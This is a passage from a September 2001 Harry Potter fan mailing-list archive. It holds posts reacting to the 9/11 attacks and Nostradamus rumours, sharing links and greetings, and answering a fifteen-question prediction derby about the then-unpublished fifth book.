over the years.  The assumption everyone always had was that if you 
cooperated with the hijackers, no one would get hurt.  And by and 
large, this was true.  No one was prepared for suicidal hijackers 
with piloting training.  No one thought to keep intruders out of the 
cockpit.  This completely blindsided everyone, and we can say (I know 
I did) afterwards, "Why can someone just WALK INTO THE COCKPIT?"  The 
answer is that it never presented itself as a danger before.

I had my Moody say you have to think like dark wizards to catch dark 
wizards.  I think you also have to think like terrorists to be a step 
ahead of them.  The trouble is, who wants to think like a terrorist?  
Who wants to get into that mindset?  Politicians lately have been on 
television talking about our having to do business with some pretty 
unsavory people if bin Laden is going to be caught.  I think this is 
what they mean; the US may have to deal with the devil to catch the 
devil.  This is almost as terrifying as continuing to experience 
terrorist attacks, to my mind.  I'm torn.  Lie down with dogs, get up 
with fleas....

--Barb






From klaatu at primenet.com  Wed Sep 19 22:22:13 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Wed, 19 Sep 2001 15:22:13 -0700
Subject: [HPFGU-OTChatter] Re: A Trelawney Moment...
In-Reply-To: <9ob36t+qnga@eGroups.com>
Message-ID: <MABBJPGEHBDBAKHGIBPOOEGFEGAA.klaatu@primenet.com>

I have a book called "Nostradamus : The Complete Prophecies" and also an
HTML version of Nostradamus' predictions.  They were originally written in
archaic French, plus Nostradamus deliberately jumbled words and used
substitute letters to further obscure the meanings.  By the time these very
vague quatrains are translated into modern English, every single word has at
least 5 possible interpretations. Which makes them prime fodder for every
crackpot on the planet.  (I must admit that my brother and I were seriously
disappointed when the world was not destroyed by a comet in 1999 -- we were
SO looking forward to it, LOL).

There is nothing in N's prophecies about "two towers" that I have found.
Those prophecies circling the Web were made up by someone immediately after
the WTC/Pentagon disaster.

SML


-----Original Message-----
From: macloudt at yahoo.co.uk [mailto:macloudt at yahoo.co.uk]
Sent: Wednesday, September 19, 2001 2:38 PM
To: HPFGU-OTChatter at yahoogroups.com
Subject: [HPFGU-OTChatter] Re: A Trelawney Moment...


>
> Hmmm, does anyone know anything about Nostradamus?  I remember
> watching a special about him when I was a kid and it terrified me.
>
> --jenny from ravenclaw*****************************************





From foxmoth at qnet.com  Thu Sep 20 00:01:47 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Thu, 20 Sep 2001 00:01:47 -0000
Subject: Happy New Year
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CC8@MIAEXCH1>
Message-ID: <9obblb+319h@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> Wishing all who celebrate it a L'Shana Tova - and may 
everyone have a sweet
> year.

Thanks Heidi, and a  wish for a better year to all the world.

Pippin




From ochfd42 at yahoo.com  Thu Sep 20 00:18:01 2001
From: ochfd42 at yahoo.com (Angela Boyko)
Date: Wed, 19 Sep 2001 20:18:01 -0400 (EDT)
Subject: [HPFGU-OTChatter] HP Legos
In-Reply-To: <9o5lnu+u6kv@eGroups.com>
Message-ID: <20010920001801.56465.qmail@web11704.mail.yahoo.com>

The Sears Wish Book (CANADIAN edition) has the HP sets
in them. Drool, drool. The budding LOON in me gripes
that they mized up the item number with the picture
for half of the sets. 

Angela

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From coriolan at worldnet.att.net  Thu Sep 20 00:32:21 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Thu, 20 Sep 2001 00:32:21 -0000
Subject: A Trelawney Moment...
In-Reply-To: <MABBJPGEHBDBAKHGIBPOAEFIEGAA.klaatu@primenet.com>
Message-ID: <9obdel+6r0g@eGroups.com>

--- In HPFGU-OTChatter at y..., "Sister Mary Lunatic" <klaatu at p...> 
wrote:
> Is there any evidence, anywhere, that ANY public psychic accurately
> predicted the WTC/Pentagon/PA disasters before they happened

He was certainly no professional psychic, but Dr.Seuss, of all 
people - during his 1941-43 stint as an editorial cartoonist for the 
New Yoork daily PM - came up with a pretty startling image

http://orpheus.ucsd.edu/speccoll/dspolitic/Frame.htm

Then look up August 1, 1941.

BTW, this entire site is worth checking out as hitherto unknown 
aspect of Seuss' genius (although it is a initially startling to see 
Hitler drawn in the same style as the Cat-In-The-Hat)

   - CMC




From heidit at netbox.com  Thu Sep 20 13:30:20 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Thu, 20 Sep 2001 09:30:20 -0400
Subject: Wikipedia
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CF9@MIAEXCH1>

I read about this site, http://www.wikipedia.com <http://www.wikipedia.com>
, in the NY Times this morning, so of course I had to visit to see what it
said about Harry Potter. The original article was terrible:
Harry lives with his aunt and uncle who don't like him at all, since his
parents were magicians. The aunt and uncle and their son are emotionally
abusive. One day, Harry starts getting messages invinting him to come and
study at a wizards' school, and although they don't like it, his aunt and
uncle finally allow him to go. Each book in the series chronicles one year
in Harry's life. There are supposed to be seven books, each getting a little
bit darker than the previous one as Harry gets older.
 
It also said Steven Spielberg was directing the film, so of course, I had to
edit it. My revised version is at
http://www.wikipedia.com/wiki.cgi?J._K._Rowling
<http://www.wikipedia.com/wiki.cgi?J._K._Rowling> . Check it out - edit it -
then go back into the fantasy authors section and edit other things at
http://www.wikipedia.com/wiki/Fantasy_authors
<http://www.wikipedia.com/wiki/Fantasy_authors>  :D



From heidit at netbox.com  Thu Sep 20 17:17:03 2001
From: heidit at netbox.com (heidit at netbox.com)
Date: Thu, 20 Sep 2001 17:17:03 -0000
Subject: OotP Derby Replies
Message-ID: <9od8af+kiro@eGroups.com>


> 1.  What new magical place will we visit?
I hope for the Ministry

> 2.  Are any of the Dursleys wizards?  Who?
I don't know, perhaps Ripper (who I now think is the animagus of 
wizardy Giles from Buffy)

> 3.  Identify the next DADA teacher.
Moody, I hope. I want to see how he really teaches. 

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?  
Is this a rumor? I haven't heard it.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have speaking lines in 
> OoF?
Do Winky & Dobby speak? Erm. Lupin, Sirius, Moody - definitely.


> 6.  At the end of OoF, will Dumbledore be the headmaster?
Hope so!

> 7.  At the end of OoF, will Fudge be the Minister of Magic?
Hope not!

> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
> will he have changed in some way?
I don't think Neville is the same as he was in book 1, even at the 
end of GoF - I think he's still got some growing to do, but don't 
they all?

> 9.  At the end of OoF, will Sirius have cleared his name?
No. Sniffle.

> 10.  Will Harry and Voldemort have a confrontation?
Not face to face - I am in the Underlings Attack camp.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.
The pensieve will come back, something HAS to happen to the Map, and 
those nifflers are just too cute to not use again. I want one!

> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
> Gryffindor Keeper?  Gryffindor Captain?
Yes, definitely - and I want Colin Creevy to shoot up over the summer 
and be Keeper. And I want Angelina as captain.

> 13.  Will anyone else turn out to be an animagus?  Who?
Dumbledore. Registered in the late 1800's. Bee.

> 14.  Who is Mundungus Fletcher?
A disowned malfoy.

> 15.  Will Wormtail use his silver hand in an important way?
perhaps not in Book 5, but certainly in Book 6 or 7.




From justanopinion2001me at yahoo.com  Thu Sep 20 19:13:33 2001
From: justanopinion2001me at yahoo.com (justanopinion2001me at yahoo.com)
Date: Thu, 20 Sep 2001 19:13:33 -0000
Subject: OoP Prediction Derby -- Moved to OT Chatter
Message-ID: <9odf4u+6mck@eGroups.com>

Properly chastened, I figured I'd go ahead and copy the OoP 
prediction questions onto this board.  Here's what I posted on the 
main board (except that I corrected the reference to "OoF"). <gr>
*******************
I have seen lots of juicy predictions about OoP in the group, and I 
thought it would be fun to see who can make the most accurate 
predictions.  So I thought up a few questions about OoP that are 
based on the Lexicon and VFAQ.    

Anyone who takes the time to predict will be entered in the derby.  
The prize:  "the sort of glory Hufflepuff House hasn't had in 
centuries."  One point awarded for each correct prediction; one point 
subtracted for each incorrect prediction, so accuracy counts.  For 
fun, feel free to explain your predictions.  If anyone is interested, 
I can print out the responses, hang onto them until OoP comes out, 
and post the scores.

1.  What new magical place will we visit?
2.  Are any of the Dursleys wizards?  Who?
3.  Identify the next DADA teacher.
4.  Which "beloved" character(s) will die?  Any other deaths, and if 
so, who?  
5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
Bagman, Madam Maxime, which characters will have roles in OoP?
6.  At the end of OoP, will Dumbledore be the headmaster?
7.  At the end of OoP, will Fudge be the Minister of Magic?
8.  At the end of OoP, will Neville be the same forgetful boy, or 
will he have changed in some way?
9.  At the end of OoP, will Sirius have cleared his name?
10.  Will Harry and Voldemort have a confrontation?
11.  Of the following magical things, which will a character use or 
confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
bus.
12.  Will there be Quiddich?  If so, who will be the Gryffindor 
Keeper?  Gryffindor Captain?
13.  Will anyone else turn out to be an animagus?  Who?
14.  Who is Mundungus Fletcher?
15.  Will Wormtail use his silver hand in an important way?

[One quick note:  don't forget to make a "real" prediction.  Saying 
that Dumbledore or Hagrid will die won't boost your "score" if one 
dies and one doesn't.]

Laura (who thinks there's could be a lot of disagreement about 
who "wins", although it should be a lot of fun for us all to sort 
that out)




From catherine at cator-manor.demon.co.uk  Thu Sep 20 21:15:12 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Thu, 20 Sep 2001 21:15:12 -0000
Subject: Happy birthday, Hermione!
In-Reply-To: <9oappm+sm5q@eGroups.com>
Message-ID: <9odm90+s02v@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amber" <inviziblegirl at h...> wrote:
> --- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> > Today, September 19, is the birthday of Hermione Granger, one of  
> > the cleverest witches ever to cross the Hogwarts threshhold.  
> > 
> > Donations to S.P.E.W. are requested in lieu of gifts.
> 
> Mwah! *hugs fictional Hermione* Happy Birthday to the best Harry 
> Potter character in the books! *ducks flying bubotuber pus from 
other 
> list members* Well, she is!
> 
> Here's hoping that Harry and Ron *finally* get the poor girl a 
> birthday present!
> 
> ~Amber


I'm late, but then I usually am with birthdays, as most of my friends 
will attest.  Amber - I agree!  She most certainly is my favourite 
character (apart from Harry himself, of course) - so Happy belated 
birthday to Hermione, may this not be posthumous wishes, and may 
there be many more to come!

Catherine




From blpurdom at yahoo.com  Thu Sep 20 21:20:18 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 20 Sep 2001 21:20:18 -0000
Subject: OotP Derby Replies
In-Reply-To: <9od8af+kiro@eGroups.com>
Message-ID: <9odmii+qun3@eGroups.com>

--- In HPFGU-OTChatter at y..., heidit at n... wrote:
> 
> > 1.  What new magical place will we visit?
> I hope for the Ministry

Ditto, or possibly Ravenclaw House or Hufflepuff House (isn't Harry 
supposed to also go someplace within Hogwarts he hasn't before?).
 
> > 2.  Are any of the Dursleys wizards?  Who?
> I don't know, perhaps Ripper (who I now think is the animagus of 
> wizardy Giles from Buffy)

God, I hope not.  What a dreadful thought.  If any of them were, 
they'd probably be Dark Wizards.

> > 3.  Identify the next DADA teacher.
> Moody, I hope. I want to see how he really teaches. 

I'd love Moody for obvious reasons (subtle fic plug).  But I'm 
doubtful; I think she'll throw us for a loop here and introduce 
someone new, possibly a very talented witch who is not easily 
categorized as Dark or not.  Perhaps someone whom Hermione wishes to 
be her mentor...
 
> > 4.  Which "beloved" character(s) will die?  Any other deaths, and 
> > if so, who?  
> Is this a rumor? I haven't heard it.

I thought it was supposed to be a "Harry fan."  Colin Creevey 
immediately comes to mind.  But this would induce more numbing guilt 
for Harry along the lines of Cedric, so I hope not.

> > 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> > Bagman, Madam Maxime, which characters will have speaking lines 
in OoP?
> Do Winky & Dobby speak? Erm. Lupin, Sirius, Moody - definitely.

I will instead list those above who I think WON'T have speaking 
lines: Krum, Fleur, Lockhart, Moody, Bagman.

> > 6.  At the end of OoP, will Dumbledore be the headmaster?
> Hope so!

Yes!

> > 7.  At the end of OoP, will Fudge be the Minister of Magic?
> Hope not!

Probably, but I hope not.

> > 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> > will he have changed in some way?
> I don't think Neville is the same as he was in book 1, even at the 
> end of GoF - I think he's still got some growing to do, but don't 
> they all?

I think he'll grow and mature, come to grips with his parents' fate, 
and do things to make his gran proud.

> > 9.  At the end of OoP, will Sirius have cleared his name?
> No. Sniffle.

I hope so.

> > 10.  Will Harry and Voldemort have a confrontation?
> Not face to face - I am in the Underlings Attack camp.

Me too.  After all, he's only faced "old" Voldemort (as opposed to 
Tom Riddle) twice: at the end of PS/SS and in GoF.  Too many times 
would start to get tedious, and until Harry attains more magical 
education, his escape would start to seem more and more unlikely 
without numerous dei ex machina.

> > 11.  Of the following magical things, which will a character use 
> > or confront:  pensieve, veritaserum, boggart, Marauder's Map, 
> > whomping willow, polyjuice potion, nifflers, portkeys, 
> > rememberall, floo powder, time turner, sneakoscope, foe glass, 
> > secrecy sensor, knight bus.
> The pensieve will come back, something HAS to happen to the Map, 
> and those nifflers are just too cute to not use again. I want one!

JKR may give the Pensieve a rest until year 6; veritaserum may appear 
again, but not part of a climax (perhaps it could be used to 
complicate romantic entanglements); I would expect a boggart to 
appear as part of the O.W.L. testing; I hope the map makes a return; 
the Whomping Willow is likely especially if Lupin comes back; I 
expect Polyjuice Potion to wait until year 6 or even 7 to reappear 
(so far we had it in years 2 and 4); nifflers may be part of the 
O.W.L.s, if Hagrid goes really easy on the students (which he might); 
Portkeys didn't appear at all until GoF, so I'm thinking no; 
Neville's remembrall may finally serve a purpose other than getting 
Harry on the Quidditch team; Floo powder seems likely, people treat 
it pretty casually; no Time Turner; the Sneakoscope is still not 
trusted, I think; no foe glass or secrecy sensor; possibly the Knight 
Bus, since it's been AWOL since PoA.
 
> > 12.  Will there be Quidditch at Hogwarts?  If so, who will be the 
> > Gryffindor Keeper?  Gryffindor Captain?
> Yes, definitely - and I want Colin Creevy to shoot up over the 
> summer and be Keeper. And I want Angelina as captain.

There will be Quidditch!  Perhaps the twins can be co-captains for 
their seventh year.  Ron seems likely as a Keeper.
 
> > 13.  Will anyone else turn out to be an animagus?  Who?
> Dumbledore. Registered in the late 1800's. Bee.

No.  Someone may learn to be one, however...

> > 14.  Who is Mundungus Fletcher?
> A disowned malfoy.

An Auror who fought Voldemort/Death Eaters during the seventies.
 
> > 15.  Will Wormtail use his silver hand in an important way?
> perhaps not in Book 5, but certainly in Book 6 or 7.

Ditto.

--Barb





From pennylin at swbell.net  Thu Sep 20 21:28:33 2001
From: pennylin at swbell.net (Penny Linsenmayer)
Date: Thu, 20 Sep 2001 21:28:33 -0000
Subject: OoP Prediction Derby 
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9odn21+bv64@eGroups.com>

Hi --

Thanks for moving this over here, Laura!

As I said on the main list, it sounds fun (just problematically
message clogging is all).

> 1.  What new magical place will we visit?

Azkaban

> 2.  Are any of the Dursleys wizards?  Who?

No, I don't think so.

> 3.  Identify the next DADA teacher.

*Not* Fleur!  Ummm....a new character is my bet.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and if
> so, who?

Lupin (sorry Amy Z!).  If it's any consolation, I was wrong about Book
4's death as I strongly predicted one of the twins.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody,
> Bagman, Madam Maxime, which characters will have roles in OoP?

All except Lockhart.  I think he's probably gone for good.

> 6.  At the end of OoP, will Dumbledore be the headmaster?

Yes.

> 7.  At the end of OoP, will Fudge be the Minister of Magic?

Nope.

> 8.  At the end of OoP, will Neville be the same forgetful boy, or
> will he have changed in some way?

I think Neville will change dramatically.

> 9.  At the end of OoP, will Sirius have cleared his name?

No.  If he did, Harry could go live with him, and it won't serve the
plot for Harry to ask questions of Sirius that JKR isn't ready for him
(or us readers) to know the answers to.

> 10.  Will Harry and Voldemort have a confrontation?

Yes.

> 11.  Of the following magical things, which will a character use or
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight
> bus.

Hopefully no more polyjuice.... I would guess the rest of it can be
worked in easily.

> 12.  Will there be Quiddich?  If so, who will be the Gryffindor
> Keeper?  Gryffindor Captain?

I fervently hope there is more Quidditch!  Captain: Fred & George as
co-captains.  New Keeper: no idea.

> 13.  Will anyone else turn out to be an animagus?  Who?

I think we've had enough of them, although maybe Mrs. Figg

> 14.  Who is Mundungus Fletcher?

No speculation here.  :--)

> 15.  Will Wormtail use his silver hand in an important way?

I don't think in Book 5, though maybe later.
>
> [One quick note:  don't forget to make a "real" prediction.  Saying
> that Dumbledore or Hagrid will die won't boost your "score" if one
> dies and one doesn't.]

My real prediction: FITD!!  :--)

Penny





From simon at hp.inbox.as  Thu Sep 20 22:00:52 2001
From: simon at hp.inbox.as (Simon Branford)
Date: Thu, 20 Sep 2001 22:00:52 -0000
Subject: OoP Prediction Derby -- Moved to OT Chatter
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9odouk+5rhh@eGroups.com>

In best Trewlawney mode here I go. I do predict that I will get fish 
and chip for lunhc tomorrow, but that is a bit of a given as I am in 
a place that always served f&c for Friday lunch.

It is fairly late, so some of the questions I have given little 
thought too and just put a silly answer to instead.


--- In HPFGU-OTChatter at y..., justanopinion2001me at y... wrote:
> 1.  What new magical place will we visit?

Well I for one doubt I will visit any magcal place in the near 
future. 
Harry will be off to Azkaban - charged with murdering Malfoy with a 
fish slice.


> 2.  Are any of the Dursleys wizards?  Who?

No.


> 3.  Identify the next DADA teacher.

Rita. No future in journalism so goes into teaching.


> 4.  Which "beloved" character(s) will die?  Any other deaths, and  
> if so, who?

Draco (see above)

  
> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?

All, bar Krum.


> 6.  At the end of OoP, will Dumbledore be the headmaster?

Yep.


> 7.  At the end of OoP, will Fudge be the Minister of Magic?

Nope.


> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?

Yes, puberty will have struck.


> 9.  At the end of OoP, will Sirius have cleared his name?

No.


> 10.  Will Harry and Voldemort have a confrontation?

This time round we are in for some alternative form of Voldemort 
(i.e. we had Voldemort, Tom, servant and then Voldemort again). 
Possibly travelling back in time to meet him as a kid. Need some good 
time travel to make the series more confusing.


> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

All Harry.
Confront, brew, eat (well Hagrid does cook odd stuff), use, use, 
confront someone using, eat (see above), use (knowingly this time), 
no, no, yes (see question 10), eat, what?, no



> 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?

Yes, Ron, Harry.


> 13.  Will anyone else turn out to be an animagus?  Who?

Draco, but alas it willnt save him.
Hedwig, but not to be found out until book 6.


> 14.  Who is Mundungus Fletcher?

A Peruvian slug farmer.


> 15.  Will Wormtail use his silver hand in an important way?

Yes.



Simon




From aiz24 at hotmail.com  Thu Sep 20 22:03:13 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 20 Sep 2001 22:03:13 -0000
Subject: OoP Prediction Derby 
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9odp31+v6hp@eGroups.com>

Thanks for posting this, Laura.  I doubt I will bring any glory to my 
house, but it's fun!  (Besides, I'm in Gryffindor and it's got more 
glory than is really fair already.)


> 1.  What new magical place will we visit?

the Ministry

> 2.  Are any of the Dursleys wizards?  Who?

yes, Dudley

> 3.  Identify the next DADA teacher.

a woman we haven't met yet

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?  

I don't mean to hedge my bets by only narrowing it down to 3, but I'm 
going to say:  a roommate of Harry's.  Not Ron:  Seamus, Neville, or 
Dean.  IOW, someone it hurts (us and Harry) to lose, but we're not to 
the core people.  Yet.

Also, and for the same reasons, one of the Weasley children (not 
Ron).  Again, sorry, if I were a real sybil instead of a Sybill I'd 
pick one, but the boldest I can get is to narrow it down to 6.  

Heidi has confirmed my memory that JKR said Lupin will be in Book 7, 
so I won't guess him.  However, she threw down a gauntlet:  he could 
come back as a wereghost.  For that question, and the follow-up, 
follow me to the main list . . .

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?

Real roles, more than just a mention:  Lupin, Sirius, Krum, Winky, 
Dobby, Moody, Maxime

> 6.  At the end of OoP, will Dumbledore be the headmaster?

No (not dead, just deposed)

> 7.  At the end of OoP, will Fudge be the Minister of Magic?

Yes

> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?

He will undergo significant changes (I mean besides him possibly 
dying) and/or we'll learn a lot more about him.  

> 9.  At the end of OoP, will Sirius have cleared his name?

Yes, but not everyone will believe it

> 10.  Will Harry and Voldemort have a confrontation?

Not directly

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

Map, remembrall, sneakoscope.  Floo Powder and Knight Bus might be 
used as transport but I'm leaving them off because I'm guessing they 
won't be vital plot elements.

What's a secrecy sensor?

> 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?

Yes there will be Quidditch, and Harry will not be captain, though he 
might be asked to be.  Ron will be Keeper.

> 13.  Will anyone else turn out to be an animagus?  Who?

No.

> 14.  Who is Mundungus Fletcher?

You mean besides what we already know about him?  I think we'll learn 
more about him in OoP, but nothing particularly interesting.  He's 
some kind of tough good guy, maybe an Auror, that's all.

> 15.  Will Wormtail use his silver hand in an important way?

Not in OoP.

Amy
who hopes many of these predictions are wrong . . . 




From keith.fraser at st-annes.ox.ac.uk  Thu Sep 20 22:59:15 2001
From: keith.fraser at st-annes.ox.ac.uk (keith.fraser at st-annes.ox.ac.uk)
Date: Thu, 20 Sep 2001 22:59:15 -0000
Subject: Sinead...
Message-ID: <9odsc3+9gu8@eGroups.com>

Are you using a different email during the holidays? I sent you a 
copy, via one of the lists, of the ToT prequel I mentioned in chat, 
and haven't heard back yet. Could you email me at keith.fraser at st-
annes.ox.ac.uk so that I can send it to the right address?

Thanks, (and apologies to everyone else)

Keith




From magsthomas at yahoo.com  Thu Sep 20 23:27:05 2001
From: magsthomas at yahoo.com (magsthomas at yahoo.com)
Date: Thu, 20 Sep 2001 23:27:05 -0000
Subject: OoP Prediction Derby -- Moved to OT Chatter
In-Reply-To: <9odouk+5rhh@eGroups.com>
Message-ID: <9odu09+9a47@eGroups.com>




> --- In HPFGU-OTChatter at y..., justanopinion2001me at y... wrote:
> > 1.  What new magical place will we visit?

Azkaban, definitely -- there's been too much commentary in GoF 
regarding the Dementors' true loyalties.  It may not happen in OoP, 
but some of those current Azkaban prisoners will stage a jailbreak 
and return to working for their boss.  I don't think we'll visit 
Durmstrang in OoP; am somewhat skeptical JKR will go to depth on any 
school other than Hogwarts.  All the action will stay in the UK, 
although there will be continued (perhaps expanded) international 
participation in the fight against Voldemort.

> > 2.  Are any of the Dursleys wizards?  Who?

No -- presumably Dudley would've been tapped for Hogwarts by now if 
he also had wizardly talents.  I can see Voldemort or one of his co-
horts using Dudley as a source of info against Harry.

> > 3.  Identify the next DADA teacher.

I *like* the idea of it being Arabella Figg!  If Dumbledore continues 
to have sole authority over selecting the DADA teacher, it will be 
one of the 'old guard'.  If Snape ever gets made DADA teacher, I 
think it will happen in book 6.


> > 4.  Which "beloved" character(s) will die?  Any other deaths, 
and  
> > if so, who?

THe silver hand / Lupin's death theory is a good one, IMO.  I also 
think Dumbledore is a possible candidate (am thinking along the lines 
of his age, guessing that he wasn't taking advantage of the 
Sorcerer's Stone, ie. N. Flamel), and the life cycle of a phoenix).  
If the Order of the Phoenix (the entity, not the book) has anything 
to do with death / rebirth, I can also see a connection with the 
chess strategy of sacrificing a piece to throw your opponent off-
guard.



> > 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> > Bagman, Madam Maxime, which characters will have roles in OoP?

Madam Maxime, Krum, Sirius, Lupin, Fleur, Dobby

> > 6.  At the end of OoP, will Dumbledore be the headmaster?


Yes, although there will be a powerplay to remove Dumbledore as 
headmaster.  


> > 7.  At the end of OoP, will Fudge be the Minister of Magic?


Yes, unfortunately.  I'd love to see Arthur Weasley become Minister 
of Magic ASAP...I don't see that happening until down the road, if at 
all.


> > 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> > will he have changed in some way?


I hope we see Neville come into his own during OoP.  


> > 9.  At the end of OoP, will Sirius have cleared his name?

No.

> > 10.  Will Harry and Voldemort have a confrontation?


Yes.

> > 11.  Of the following magical things, which will a character use 
or 
> > confront:  pensieve, veritaserum, boggart, Marauder's Map, 
whomping 
> > willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> > powder, time turner, sneakoscope, foe glass, secrecy sensor, 
knight bus.


floo powder, foe glass, pensieve, sneakoscope



> > 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> > Keeper?  Gryffindor Captain?

Yes, Quidditch seems a good way to maintain some sense of normalcy 
for students.  Haven't the foggiest suggestion for new keeper, as I 
don't see one of the existing team members sliding into that role; 
Ron's a possibility.  New captain will either be the Weasley twins as 
co-captains, or Angelina.


> > 13.  Will anyone else turn out to be an animagus?  Who?

No.


> > 14.  Who is Mundungus Fletcher?


I think he's affiliated with St. Mungo's in some way; perhaps 
connected to care for Neville's parents.


> > 15.  Will Wormtail use his silver hand in an important way?


I think it will be the source of Lupin's death (and I don't want to 
see Lupin go!)




From joym999 at aol.com  Fri Sep 21 01:31:10 2001
From: joym999 at aol.com (Joy M)
Date: Fri, 21 Sep 2001 01:31:10 -0000
Subject: OT (even for OT) but interesting
Message-ID: <9oe58u+r3d3@eGroups.com>

I just wanted to tell you all about this website, which I found very 
moving.  It contains photos of people around the world, mostly at 
American embassies, expressing their sympathy for last week's 
events.  I am embarrassed to say that I am not exactly sure where a 
few of those countries are.

http://people.delphi.com/andybeals/thankyou.htm

--Joywitch




From cynthiaanncoe at home.com  Fri Sep 21 01:52:55 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 21 Sep 2001 01:52:55 -0000
Subject: OoP Prediction Derby
In-Reply-To: <9odp31+v6hp@eGroups.com>
Message-ID: <9oe6hn+ch9i@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> 
> What's a secrecy sensor?
> 


Isn't it the thing Moody keeps in his office with his foe glass?  He 
says it doesn't work at Hogwarts because too many students are lying 
about doing their homework or some such?

Cindy




From inviziblegirl at hotmail.com  Fri Sep 21 02:43:49 2001
From: inviziblegirl at hotmail.com (Amber)
Date: Fri, 21 Sep 2001 02:43:49 -0000
Subject: OoP Prediction Derby -- Moved to OT Chatter
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9oe9h5+o5rd@eGroups.com>


Ya know, it will be fun to go back and look at these answers again 
after the book is released; I'm sure everyone's "predictions" will 
seem hilarious after knowing what truly happens!

--- In HPFGU-OTChatter at y..., justanopinion2001me at y... wrote: 
> 1.  What new magical place will we visit?

Well, I *want* to see St. Mungo's. However, I doubt JKR has a direct 
line into my head to see what I want.

I fear I'm going to be terribly unoriginal, go with the crowd, and 
predict Azkaban.

> 2.  Are any of the Dursleys wizards?  Who?

The Dursley's? Wizards? *dies laughing*

In case you couldn't tell, I definitely think none of the Dursley's 
are wizards.

> 3.  Identify the next DADA teacher.

Arabella Figg.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if so, who?

I do NOT like this question. I, for one, think more than one beloved 
character will die in OotP. In my opinion, Percy (*sob!*) has the 
biggest target on his back. Hagrid has the next biggest target. 

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?

Lupin, Sirius, Dobby, Moody, Fleur, and Bagman will have roles in 
OotP.

> 6.  At the end of OoP, will Dumbledore be the headmaster?

Hrm. *thinks* Well, Fudge is pretty angry at Albus.

But I think he still will be headmaster. My belief is that Dumbledore 
is going to die near the end of book 6.

> 7.  At the end of OoP, will Fudge be the Minister of Magic?

Yes.

> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?

Of course he will have changed. I don't subscribe to the memory charm 
theory that so many others do, but I think something is going to 
happen that will give Neville a whole lot more confidence. (At least, 
I'm hoping this will happen!). I also think that his parents are 
going to finally die and this will release him in some way.

> 9.  At the end of OoP, will Sirius have cleared his name?

No.

> 10.  Will Harry and Voldemort have a confrontation?

No.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

